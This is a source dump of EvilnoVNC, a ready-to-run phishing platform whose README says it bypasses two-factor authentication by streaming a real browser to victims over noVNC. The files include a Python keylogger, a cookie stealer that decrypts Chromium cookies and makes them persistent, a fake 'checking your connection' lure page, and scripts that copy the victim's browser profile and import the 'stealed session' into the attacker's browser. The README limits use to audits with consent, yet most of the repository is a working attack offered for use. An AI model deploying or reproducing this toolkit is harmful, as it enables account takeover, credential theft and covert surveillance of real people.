├── Downloads └── .deleteme ├── EvilnoVNC.png ├── Files ├── kiosk.zip ├── vnc_lite.html ├── keylogger.py ├── startVNC.sh ├── cookies.py ├── cursor.js ├── index.php └── ui.js ├── .github └── FUNDING.yml ├── Dockerfile ├── start.sh ├── README.md └── LICENSE /Downloads/.deleteme: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /EvilnoVNC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JoelGMSec/EvilnoVNC/HEAD/EvilnoVNC.png -------------------------------------------------------------------------------- /Files/kiosk.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JoelGMSec/EvilnoVNC/HEAD/Files/kiosk.zip -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: JoelGMSec 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 7 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 8 | liberapay: # Replace with a single Liberapay username 9 | issuehunt: # Replace with a single IssueHunt username 10 | otechie: # Replace with a single Otechie username 11 | custom: ['https://buymeacoff.ee/JoelGMSec','https://darkbyte.net/shop'] 12 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:stable-slim 2 | LABEL maintainer="JoelGMSec - https://darkbyte.net" 3 | ENV DISPLAY=:1 4 | 5 | RUN apt update && apt install -y --no-install-recommends \ 6 | adduser unzip dbus-x11 procps sudo xfce4 xvfb x11-utils x11vnc jq \ 7 | xfce4-terminal chromium python3 python3-pip git curl gcc php socat wget && \ 8 | rm -rf /var/lib/apt/lists/* && \ 9 | ln -s /usr/bin/python3 /usr/bin/python && \ 10 | echo 'CHROMIUM_FLAGS="--disable-gpu --disable-software-rasterizer --kiosk \ 11 | --password-store=basic --start-fullscreen --noerrdialogs \ 12 | --no-first-run"' >> /etc/chromium/chromium.conf && \ 13 | dbus-uuidgen > /var/lib/dbus/machine-id 14 | 15 | RUN adduser --disabled-password --gecos "" user && \ 16 | echo 'user:user' | chpasswd && \ 17 | echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers 18 | 19 | USER user 20 | WORKDIR /home/user 21 | 22 | RUN mkdir -p /home/user/.vnc && \ 23 | x11vnc -storepasswd false /home/user/.vnc/passwd && \ 24 | git clone https://github.com/novnc/noVNC.git /home/user/noVNC && \ 25 | git clone https://github.com/novnc/websockify /home/user/noVNC/utils/websockify && \ 26 | sudo python3 -m pip install numpy --break-system-packages && \ 27 | sudo python3 -m pip install pyxhook --break-system-packages && \ 28 | sudo python3 -m pip install pycryptodome --break-system-packages 29 | 30 | COPY Files /home/user/ 31 | COPY Files/ui.js /home/user/noVNC/app/ 32 | COPY Files/vnc_lite.html /home/user/noVNC/ 33 | COPY Files/cursor.js /home/user/noVNC/core/util/ 34 | 35 | RUN sudo chmod +x /home/user/startVNC.sh && \ 36 | sed -i 's/rgb(40, 40, 40)/white/' /home/user/noVNC/core/rfb.js && \ 37 | sed -i 's/qualityLevel = 6/qualityLevel = 9/' /home/user/noVNC/core/rfb.js && \ 38 | sed -i 's/compressionLevel = 2/compressionLevel = 0/' /home/user/noVNC/core/rfb.js 39 | 40 | RUN wget "https://www.googleapis.com/download/storage/v1/b/chromium-browser-snapshots/o/Linux_x64%2F1231300%2Fchrome-linux.zip?generation=1701355787197325&alt=media" && \ 41 | unzip Linux_x64* && \ 42 | rm -f Linux_x64* 43 | 44 | ENTRYPOINT ["/bin/bash", "-c", "/home/user/startVNC.sh"] 45 | 46 | EXPOSE 80 47 | -------------------------------------------------------------------------------- /Files/vnc_lite.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 27 | 28 | 78 | 79 | 80 |
81 | 82 | -------------------------------------------------------------------------------- /Files/keylogger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # From: https://github.com/nandydark/Linux-keylogger 3 | import os 4 | import pyxhook 5 | 6 | 7 | log_file = os.environ.get( 8 | 'pylogger_file', 9 | os.path.expanduser('/home/user/Downloads/Keylogger.txt') 10 | ) 11 | 12 | cancel_key = ord( 13 | os.environ.get( 14 | 'pylogger_cancel', 15 | '`' 16 | )[0] 17 | ) 18 | 19 | if os.environ.get('pylogger_clean', None) is not None: 20 | try: 21 | os.remove(log_file) 22 | except EnvironmentError: 23 | # File does not exist, or no permissions. 24 | pass 25 | 26 | 27 | def OnKeyPress(event): 28 | with open(log_file, 'a') as f: 29 | if event.Key == 'Return': 30 | f.write('\n') 31 | elif event.Key == 'Delete': 32 | f.write('Supr') 33 | elif event.Key == 'BackSpace': 34 | f.write('Del') 35 | elif event.Key == 'at': 36 | f.write('@') 37 | elif event.Key == 'exclam': 38 | f.write('!') 39 | elif event.Key == 'period': 40 | f.write('.') 41 | elif event.Key == 'comma': 42 | f.write(',') 43 | elif event.Key == 'colon': 44 | f.write(':') 45 | elif event.Key == 'semicolon': 46 | f.write(';') 47 | elif event.Key == 'parenright': 48 | f.write(')') 49 | elif event.Key == 'parenleft': 50 | f.write('(') 51 | elif event.Key == 'equal': 52 | f.write('=') 53 | elif event.Key == 'space': 54 | f.write(' ') 55 | elif event.Key == 'Super_R': 56 | pass 57 | elif event.Key == 'Super_L': 58 | pass 59 | elif event.Key == 'Shift_R': 60 | pass 61 | elif event.Key == 'Shift_L': 62 | pass 63 | elif event.Key == 'Control_L': 64 | pass 65 | elif event.Key == 'Control_R': 66 | pass 67 | elif event.Key == 'Alt_L': 68 | pass 69 | elif event.Key == '@': 70 | pass 71 | elif event.Key == 'Caps_Lock': 72 | pass 73 | elif event.Key == '[65027]': 74 | pass 75 | else: 76 | f.write('{}'.format(event.Key)) 77 | 78 | 79 | new_hook = pyxhook.HookManager() 80 | new_hook.KeyDown = OnKeyPress 81 | new_hook.HookKeyboard() 82 | try: 83 | new_hook.start() 84 | except KeyboardInterrupt: 85 | pass 86 | except Exception as ex: 87 | msg = 'Error while catching events: {}'.format(ex) 88 | pyxhook.print_err(msg) 89 | with open(log_file, 'a') as f: 90 | f.write('{}'.format(msg)) -------------------------------------------------------------------------------- /Files/startVNC.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #=============================# 3 | # EvilnoVNC by @JoelGMSec # 4 | # https://darkbyte.net # 5 | #=============================# 6 | 7 | DISPLAY=:1 8 | sudo rm -f /tmp/resolution.txt 9 | sudo rm -f /tmp/client_info.txt 10 | sudo rm -f /tmp/.X${DISPLAY#:}-lock 11 | 12 | echo "URL=$WEBPAGE" > php.ini 13 | sudo /bin/bash -c "php -q -S 0.0.0.0:80 &" > /dev/null 2>&1 14 | 15 | while [ ! $(cat /tmp/client_info.txt 2> /dev/null | grep "x24") ]; do sleep 1 ; done 16 | cat /tmp/client_info.txt | jq .RESOLUTION | tr -d "\"" > /tmp/resolution.txt ; sleep 1 17 | export RESOLUTION=$(cat /tmp/resolution.txt) 18 | echo 'starting with' $RESOLUTION 19 | sudo pkill -9 php 20 | 21 | nohup sudo rm -f "/etc/xdg/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml" 22 | nohup sudo /usr/bin/Xvfb $DISPLAY -screen 0 $RESOLUTION -ac +extension GLX +render -noreset & 23 | while [[ ! $(xdpyinfo -display $DISPLAY 2> /dev/null) ]]; do sleep 1; done 24 | nohup sudo chmod a-rwx /usr/bin/xfdesktop && sudo chmod a-rwx /usr/bin/xfce4-terminal 25 | nohup sudo chmod a-rwx /usr/bin/xfce4-panel && sudo chmod a-rwx /usr/bin/thunar 26 | nohup sudo startxfce4 > /dev/null || true & 27 | 28 | nohup sudo x11vnc -xkb -noxrecord -noxfixes -noxdamage -many -shared -display $DISPLAY -rfbauth /home/user/.vnc/passwd -rfbport 5900 "$@" & 29 | nohup sudo /home/user/noVNC/utils/novnc_proxy --vnc localhost:5900 --listen 5980 & 30 | nohup sudo socat TCP-LISTEN:80,reuseaddr,fork TCP:localhost:5980 & 31 | 32 | URL=$(head -1 php.ini | cut -d "=" -f 2) 33 | cp /home/user/noVNC/vnc_lite.html /home/user/noVNC/index.html 34 | TITLE=$(curl -sk $URL | grep "" | grep "" | sed "s/<[^>]*>//g") 35 | echo $TITLE > title.txt && sed -i "4s/.*/$(head -1 title.txt)/g" noVNC/index.html 36 | sudo mkdir -p Downloads/Default 2> /dev/null && sudo chmod 777 -R Downloads && sudo chmod 777 kiosk.zip 37 | sudo mkdir -p /var/run/dbus && sudo dbus-daemon --config-file=/usr/share/dbus-1/system.conf --print-address 38 | while read -rd $'' line; do export "$line" ; done < <(jq -r <<<"$values" 'to_entries|map("\(.key)=\"\(.value)\"\u0000")[]' /tmp/client_info.txt) 39 | unzip -n kiosk.zip && sleep 3 && chrome-linux/chrome --no-sandbox --load-extension=/home/user/kiosk/ --kiosk $URL --fast ---fast-start --user-agent="${USERAGENT//\"}" --accept-lang=${CLIENT_LANG//\"} & 40 | 41 | nohup /bin/bash -c "touch /home/user/Downloads/Cookies.txt ; mkdir /home/user/Downloads/Default" & 42 | nohup /bin/bash -c "touch /home/user/Downloads/Keylogger.txt" & 43 | nohup /bin/bash -c "python3 /home/user/keylogger.py 2> log.txt" & 44 | nohup /bin/bash -c "while true ; do sleep 30 ; python3 cookies.py > /home/user/Downloads/Cookies.txt ; done" & 45 | nohup /bin/bash -c "while true ; do sleep 30 ; cp -R -u /home/user/.config/chromium/Default /home/user/Downloads/ ; done" & 46 | 47 | while true ; do sleep 30 ; done 48 | -------------------------------------------------------------------------------- /start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #=============================# 3 | # EvilnoVNC by @JoelGMSec # 4 | # https://darkbyte.net # 5 | #=============================# 6 | 7 | # Banner 8 | printf "\e[1;34m 9 | _____ _ _ __ ___ _ ____ 10 | | ____|_ _(_) |_ __ __\ \ / / \ | |/ ___| 11 | | _| \ \ / / | | '_ \ / _ \ \ / /| \| | | 12 | | |___ \ V /| | | | | | (_) \ V / | |\ | |___ 13 | |_____| \_/ |_|_|_| |_|\___/ \_/ |_| \_|\____| 14 | 15 | \e[1;32m ---------------- by @JoelGMSec --------------\n\e[1;0m" 16 | 17 | # Help & Usage 18 | function help { 19 | printf "\n\e[1;33mUsage:\e[1;0m ./start.sh \e[1;35m\$resolution \e[1;34m\$url\n\n" 20 | printf "\e[1;33mExamples:\n" 21 | printf "\e[1;32m\t1280x720 16bits: \e[1;0m./start.sh \e[1;35m1280x720x16 \e[1;34mhttp://example.com\n" 22 | printf "\e[1;32m\t1280x720 24bits: \e[1;0m./start.sh \e[1;35m1280x720x24 \e[1;34mhttp://example.com\n" 23 | printf "\e[1;32m\t1920x1080 16bits: \e[1;0m./start.sh \e[1;35m1920x1080x16 \e[1;34mhttp://example.com\n" 24 | printf "\e[1;32m\t1920x1080 24bits: \e[1;0m./start.sh \e[1;35m1920x1080x24 \e[1;34mhttp://example.com\n\n" 25 | printf "\e[1;33mDynamic resolution:\n" 26 | printf "\e[1;0m\t./start.sh \e[1;35mdynamic \e[1;34mhttp://example.com\n\n";} 27 | 28 | if [[ $# -lt 2 ]] ; then help 29 | if [[ $# -lt 2 ]] ; then printf "\e[1;31m[!] Not enough parameters!\n\n" 30 | fi ; exit 0 ; fi 31 | 32 | # Variables 33 | RESOLUTION=$1 34 | WEBPAGE=$2 35 | 36 | # Main function 37 | if docker -v &> /dev/null ; then 38 | if ! (( $(ps -ef | grep -v grep | grep docker | wc -l) > 0 )) ; then 39 | sudo service docker start > /dev/null 2>&1 ; sleep 2 ; fi ; fi 40 | 41 | if [[ $RESOLUTION == dynamic ]]; then 42 | sudo docker run --cap-add=SYS_ADMIN -d --rm -p 80:80 --shm-size=2gb -v "/tmp:/tmp" \ 43 | -v "${PWD}/Downloads":"/home/user/Downloads" -e "WEBPAGE=$WEBPAGE" --name evilnovnc joelgmsec/evilnovnc > /dev/null 2>&1 44 | 45 | else echo $RESOLUTION > /tmp/resolution.txt 46 | sudo docker run --cap-add=SYS_ADMIN -d --rm -p 80:80 --shm-size=2gb -v "/tmp:/tmp" \ 47 | -v "${PWD}/Downloads":"/home/user/Downloads" -e "WEBPAGE=$WEBPAGE" --name evilnovnc joelgmsec/evilnovnc > /dev/null 2>&1 ; fi 48 | 49 | rm -Rf $PWD/Downloads/* 50 | printf "\n\e[1;33m[>] EvilnoVNC Server is running.." ; sleep 2 51 | printf "\n\e[1;34m[+] URL: http://localhost" ; sleep 2 52 | printf "\n\e[1;31m[!] Press Ctrl+C at any time to close!" ; sleep 2 53 | 54 | if [[ $RESOLUTION == dynamic ]]; then 55 | RESOLUTION=$(head -1 /tmp/resolution.txt 2> /dev/null) 56 | printf "\n\e[1;32m[+] Waiting for any user interaction.." ; sleep 2 57 | while [[ $RESOLUTION == "" || $RESOLUTION == dynamic ]]; do sleep 1 58 | RESOLUTION=$(head -1 /tmp/resolution.txt 2> /dev/null) ; done 59 | 60 | else printf "\n\e[1;32m[+] Avoiding dynamic resolution steps.." ; sleep 2 ; fi 61 | printf "\n\e[1;34m[+] Desktop Resolution: $RESOLUTION" ; sleep 2 62 | printf "\n\e[1;32m[+] Cookies will be updated every 30 seconds.. \e[1;31m" 63 | 64 | trap 'printf "\n\e[1;33m[>] Import stealed session to Chromium..\n" ; sleep 2 65 | sudo docker stop evilnovnc > /dev/null 2>&1 & 66 | rm -Rf ~/.config/chromium/Default > /dev/null 2>&1 ; cp -R Downloads/Default ~/.config/chromium/ > /dev/null 2>&1 67 | /bin/bash -c "/usr/bin/chromium --no-sandbox --disable-crash-reporter --password-store=basic &" > /dev/null 2>&1 & 68 | printf "\e[1;32m[+] Done!\n\e[1;0m"' SIGTERM EXIT 69 | while true ; do sleep 30 ; done 70 | fi 71 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

EvilnoVNC

2 | 3 | # EvilnoVNC 4 | **EvilnoVNC** is a Ready to go Phishing Platform. 5 | 6 | Unlike other phishing techniques, EvilnoVNC allows 2FA bypassing by using a real browser over a noVNC connection. 7 | 8 | In addition, this tool allows us to see in real time all of the victim's actions, access to their downloaded files and the entire browser profile, including cookies, saved passwords, browsing history and much more. 9 | 10 | 11 | # Requirements 12 | - Docker 13 | - Chromium 14 | 15 | 16 | # Download 17 | It's recommended to clone the complete repository or download the zip file.\ 18 | Additionally, it's necessary to build Docker manually. You can do this by running the following commands: 19 | ``` 20 | git clone https://github.com/JoelGMSec/EvilnoVNC 21 | cd EvilnoVNC ; sudo chown -R 103 Downloads 22 | sudo docker build -t joelgmsec/evilnovnc . 23 | ``` 24 | 25 | 26 | # Usage 27 | ``` 28 | ./start.sh -h 29 | 30 | _____ _ _ __ ___ _ ____ 31 | | ____|_ _(_) |_ __ __\ \ / / \ | |/ ___| 32 | | _| \ \ / / | | '_ \ / _ \ \ / /| \| | | 33 | | |___ \ V /| | | | | | (_) \ V / | |\ | |___ 34 | |_____| \_/ |_|_|_| |_|\___/ \_/ |_| \_|\____| 35 | 36 | ---------------- by @JoelGMSec -------------- 37 | 38 | Usage: ./start.sh $resolution $url 39 | 40 | Examples: 41 | 1280x720 16bits: ./start.sh 1280x720x16 http://example.com 42 | 1280x720 24bits: ./start.sh 1280x720x24 http://example.com 43 | 1920x1080 16bits: ./start.sh 1920x1080x16 http://example.com 44 | 1920x1080 24bits: ./start.sh 1920x1080x24 http://example.com 45 | 46 | Dynamic resolution: 47 | ./start.sh dynamic http://example.com 48 | 49 | ``` 50 | 51 | ### The detailed guide of use can be found at the following link: 52 | 53 | https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc 54 | 55 | # Features & To Do 56 | - [X] Export Evil-Chromium profile to host 57 | - [X] Save download files on host 58 | - [X] Disable parameters in URL (like password) 59 | - [X] Disable key combinations (like Alt+1 or Ctrl+S) 60 | - [X] Disable access to Thunar 61 | - [X] Decrypt cookies in real time 62 | - [X] Expand cookie life to 99999999999999999 63 | - [X] Dynamic title from original website 64 | - [X] Dynamic resolution from preload page 65 | - [X] Basic keylogger 66 | - [X] Replicate real user-agent and other stuff 67 | - [X] Faster than ever 68 | - [ ] Crazy new ideas 69 | 70 | 71 | # License 72 | This project is licensed under the GNU 3.0 license - see the LICENSE file for more details. 73 | 74 | 75 | # Credits and Acknowledgments 76 | Original idea by [@mrd0x](https://twitter.com/mrd0x): https://mrd0x.com/bypass-2fa-using-novnc \ 77 | This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec 78 | 79 | Special thanks to [@ms101](https://github.com/ms101) for some fixes and improvements. \ 80 | Special thanks to [@git-it](https://github.com/git-it) for User-agent and Accept-Language patch. 81 | 82 | 83 | # Contact 84 | This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it. 85 | 86 | For more information, you can find me on Twitter as [@JoelGMSec](https://twitter.com/JoelGMSec) and on my blog [darkbyte.net](https://darkbyte.net). 87 | 88 | 89 | # Support 90 | You can support my work buying me a coffee: 91 | 92 | [buymeacoffe](https://www.buymeacoffee.com/joelgmsec) 93 | -------------------------------------------------------------------------------- /Files/cookies.py: -------------------------------------------------------------------------------- 1 | # Cookie Stealer for EvilnoVNC 2 | # Code from: https://www.thepythoncode.com/article/extract-chrome-cookies-python 3 | # Decrypt function from: https://n8henrie.com/2014/05/decrypt-chrome-cookies-with-python 4 | 5 | import os 6 | import json 7 | import base64 8 | import sqlite3 9 | from datetime import datetime, timedelta 10 | from Crypto.Cipher import AES 11 | from Crypto.Protocol.KDF import PBKDF2 12 | 13 | def get_chrome_datetime(chromedate): 14 | """Return a `datetime.datetime` object from a chrome format datetime 15 | Since `chromedate` is formatted as the number of microseconds since January, 1601""" 16 | if chromedate != 86400000000 and chromedate: 17 | try: 18 | return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) 19 | except Exception as e: 20 | print(f"Error: {e}, chromedate: {chromedate}") 21 | return chromedate 22 | else: 23 | return "" 24 | 25 | def decrypt_cookies(encrypted_value): 26 | # Function to get rid of padding 27 | def clean(x): 28 | if len(x) < 1: 29 | # if there aren't enough bytes... 30 | return '' 31 | return x[:-x[-1]].decode('utf8') 32 | 33 | # Trim off the 'v10' that Chrome/ium prepends 34 | encrypted_value = encrypted_value[3:] 35 | 36 | # Default values used by both Chrome and Chromium in OSX and Linux 37 | salt = b'saltysalt' 38 | iv = b' ' * 16 39 | length = 16 40 | 41 | # On Mac, replace MY_PASS with your password from Keychain 42 | # On Linux, replace MY_PASS with 'peanuts' 43 | my_pass = 'peanuts' 44 | my_pass = my_pass.encode('utf8') 45 | 46 | # 1003 on Mac, 1 on Linux 47 | iterations = 1 48 | 49 | key = PBKDF2(my_pass, salt, length, iterations) 50 | cipher = AES.new(key, AES.MODE_CBC, iv) 51 | 52 | decrypted = cipher.decrypt(encrypted_value) 53 | decrypted_value = (clean(decrypted)) 54 | return decrypted_value 55 | 56 | def main(): 57 | # local sqlite Chrome cookie database path 58 | filename = "Downloads/Default/Cookies" 59 | # connect to the database 60 | db = sqlite3.connect(filename) 61 | # ignore decoding errors 62 | db.text_factory = lambda b: b.decode(errors="ignore") 63 | cursor = db.cursor() 64 | # get the cookies from `cookies` table 65 | cursor.execute(""" 66 | SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value 67 | FROM cookies""") 68 | # you can also search by domain, e.g thepythoncode.com 69 | # cursor.execute(""" 70 | # SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value 71 | # FROM cookies 72 | # WHERE host_key like '%thepythoncode.com%'""") 73 | # get the AES key 74 | for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall(): 75 | if not value: 76 | decrypted_value = decrypt_cookies(encrypted_value) 77 | else: 78 | # already decrypted 79 | decrypted_value = value 80 | print(f""" 81 | Host: {host_key} 82 | Cookie name: {name} 83 | Cookie value (decrypted): {decrypted_value} 84 | Creation datetime (UTC): {get_chrome_datetime(creation_utc)} 85 | Last access datetime (UTC): {get_chrome_datetime(last_access_utc)} 86 | Expires datetime (UTC): {get_chrome_datetime(expires_utc)} 87 | 88 | ---------------------------------------------------------------""") 89 | # update the cookies table with the decrypted value 90 | # and make session cookie persistent 91 | cursor.execute(""" 92 | UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0 93 | WHERE host_key = ? 94 | AND name = ?""", (decrypted_value, host_key, name)) 95 | # commit changes 96 | db.commit() 97 | # close connection 98 | db.close() 99 | 100 | if __name__ == "__main__": 101 | main() -------------------------------------------------------------------------------- /Files/cursor.js: -------------------------------------------------------------------------------- 1 | /* 2 | * noVNC: HTML5 VNC client 3 | * Copyright (C) 2019 The noVNC Authors 4 | * Licensed under MPL 2.0 or any later version (see LICENSE.txt) 5 | */ 6 | 7 | import { supportsCursorURIs, isTouchDevice } from './browser.js'; 8 | 9 | const useFallback = !supportsCursorURIs || isTouchDevice; 10 | 11 | export default class Cursor { 12 | constructor() { 13 | this._target = null; 14 | 15 | this._canvas = document.createElement('canvas'); 16 | 17 | if (useFallback) { 18 | this._canvas.style.position = 'fixed'; 19 | this._canvas.style.zIndex = '65535'; 20 | this._canvas.style.pointerEvents = 'none'; 21 | // Can't use "display" because of Firefox bug #1445997 22 | this._canvas.style.visibility = 'hidden'; 23 | } 24 | 25 | this._position = { x: 0, y: 0 }; 26 | this._hotSpot = { x: 0, y: 0 }; 27 | 28 | this._eventHandlers = { 29 | 'mouseover': this._handleMouseOver.bind(this), 30 | 'mouseleave': this._handleMouseLeave.bind(this), 31 | 'mousemove': this._handleMouseMove.bind(this), 32 | 'mouseup': this._handleMouseUp.bind(this), 33 | }; 34 | } 35 | 36 | attach(target) { 37 | if (this._target) { 38 | this.detach(); 39 | } 40 | 41 | this._target = target; 42 | 43 | if (useFallback) { 44 | document.body.appendChild(this._canvas); 45 | 46 | const options = { capture: true, passive: true }; 47 | this._target.addEventListener('mouseover', this._eventHandlers.mouseover, options); 48 | this._target.addEventListener('mouseleave', this._eventHandlers.mouseleave, options); 49 | this._target.addEventListener('mousemove', this._eventHandlers.mousemove, options); 50 | this._target.addEventListener('mouseup', this._eventHandlers.mouseup, options); 51 | } 52 | 53 | this.clear(); 54 | } 55 | 56 | detach() { 57 | if (!this._target) { 58 | return; 59 | } 60 | 61 | if (useFallback) { 62 | const options = { capture: true, passive: true }; 63 | this._target.removeEventListener('mouseover', this._eventHandlers.mouseover, options); 64 | this._target.removeEventListener('mouseleave', this._eventHandlers.mouseleave, options); 65 | this._target.removeEventListener('mousemove', this._eventHandlers.mousemove, options); 66 | this._target.removeEventListener('mouseup', this._eventHandlers.mouseup, options); 67 | 68 | document.body.removeChild(this._canvas); 69 | } 70 | 71 | this._target = null; 72 | } 73 | 74 | change(rgba, hotx, hoty, w, h) { 75 | if ((w === 0) || (h === 0)) { 76 | this.clear(); 77 | return; 78 | } 79 | 80 | this._position.x = this._position.x + this._hotSpot.x - hotx; 81 | this._position.y = this._position.y + this._hotSpot.y - hoty; 82 | this._hotSpot.x = hotx; 83 | this._hotSpot.y = hoty; 84 | 85 | let ctx = this._canvas.getContext('2d'); 86 | 87 | this._canvas.width = w; 88 | this._canvas.height = h; 89 | 90 | let img = new ImageData(new Uint8ClampedArray(rgba), w, h); 91 | ctx.clearRect(0, 0, w, h); 92 | ctx.putImageData(img, 0, 0); 93 | } 94 | 95 | clear() { 96 | this._canvas.width = 0; 97 | this._canvas.height = 0; 98 | this._position.x = this._position.x + this._hotSpot.x; 99 | this._position.y = this._position.y + this._hotSpot.y; 100 | this._hotSpot.x = 0; 101 | this._hotSpot.y = 0; 102 | } 103 | 104 | // Mouse events might be emulated, this allows 105 | // moving the cursor in such cases 106 | move(clientX, clientY) { 107 | if (!useFallback) { 108 | return; 109 | } 110 | // clientX/clientY are relative the _visual viewport_, 111 | // but our position is relative the _layout viewport_, 112 | // so try to compensate when we can 113 | if (window.visualViewport) { 114 | this._position.x = clientX + window.visualViewport.offsetLeft; 115 | this._position.y = clientY + window.visualViewport.offsetTop; 116 | } else { 117 | this._position.x = clientX; 118 | this._position.y = clientY; 119 | } 120 | this._updatePosition(); 121 | let target = document.elementFromPoint(clientX, clientY); 122 | this._updateVisibility(target); 123 | } 124 | 125 | _handleMouseOver(event) { 126 | // This event could be because we're entering the target, or 127 | // moving around amongst its sub elements. Let the move handler 128 | // sort things out. 129 | this._handleMouseMove(event); 130 | } 131 | 132 | _handleMouseLeave(event) { 133 | // Check if we should show the cursor on the element we are leaving to 134 | this._updateVisibility(event.relatedTarget); 135 | } 136 | 137 | _handleMouseMove(event) { 138 | this._updateVisibility(event.target); 139 | 140 | this._position.x = event.clientX - this._hotSpot.x; 141 | this._position.y = event.clientY - this._hotSpot.y; 142 | 143 | this._updatePosition(); 144 | } 145 | 146 | _handleMouseUp(event) { 147 | // We might get this event because of a drag operation that 148 | // moved outside of the target. Check what's under the cursor 149 | // now and adjust visibility based on that. 150 | let target = document.elementFromPoint(event.clientX, event.clientY); 151 | this._updateVisibility(target); 152 | 153 | // Captures end with a mouseup but we can't know the event order of 154 | // mouseup vs releaseCapture. 155 | // 156 | // In the cases when releaseCapture comes first, the code above is 157 | // enough. 158 | // 159 | // In the cases when the mouseup comes first, we need wait for the 160 | // browser to flush all events and then check again if the cursor 161 | // should be visible. 162 | if (this._captureIsActive()) { 163 | window.setTimeout(() => { 164 | // We might have detached at this point 165 | if (!this._target) { 166 | return; 167 | } 168 | // Refresh the target from elementFromPoint since queued events 169 | // might have altered the DOM 170 | target = document.elementFromPoint(event.clientX, 171 | event.clientY); 172 | this._updateVisibility(target); 173 | }, 0); 174 | } 175 | } 176 | 177 | _showCursor() { 178 | if (this._canvas.style.visibility !== 'hidden') { 179 | this._canvas.style.visibility = ''; 180 | } 181 | } 182 | 183 | _hideCursor() { 184 | if (this._canvas.style.visibility === 'hidden') { 185 | this._canvas.style.visibility = 'hidden'; 186 | } 187 | } 188 | 189 | // Should we currently display the cursor? 190 | // (i.e. are we over the target, or a child of the target without a 191 | // different cursor set) 192 | _shouldShowCursor(target) { 193 | if (!target) { 194 | return false; 195 | } 196 | // Easy case 197 | if (target === this._target) { 198 | return true; 199 | } 200 | // Other part of the DOM? 201 | if (!this._target.contains(target)) { 202 | return false; 203 | } 204 | // Has the child its own cursor? 205 | // FIXME: How can we tell that a sub element has an 206 | // explicit "cursor: none;"? 207 | if (window.getComputedStyle(target).cursor !== 'none') { 208 | return false; 209 | } 210 | return true; 211 | } 212 | 213 | _updateVisibility(target) { 214 | // When the cursor target has capture we want to show the cursor. 215 | // So, if a capture is active - look at the captured element instead. 216 | if (this._captureIsActive()) { 217 | target = document.captureElement; 218 | } 219 | if (this._shouldShowCursor(target)) { 220 | this._showCursor(); 221 | } else { 222 | this._hideCursor(); 223 | } 224 | } 225 | 226 | _updatePosition() { 227 | this._canvas.style.left = this._position.x + "px"; 228 | this._canvas.style.top = this._position.y + "px"; 229 | } 230 | 231 | _captureIsActive() { 232 | return document.captureElement && 233 | document.documentElement.contains(document.captureElement); 234 | } 235 | } 236 | -------------------------------------------------------------------------------- /Files/index.php: -------------------------------------------------------------------------------- 1 | Just a moment... 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 |

14 |

23 |

24 | Checking if the site connection is secure 25 |

26 | 38 | 39 |
40 | needs to review the security of your connection before proceeding. 43 |
44 |
45 | 46 |
47 | 48 |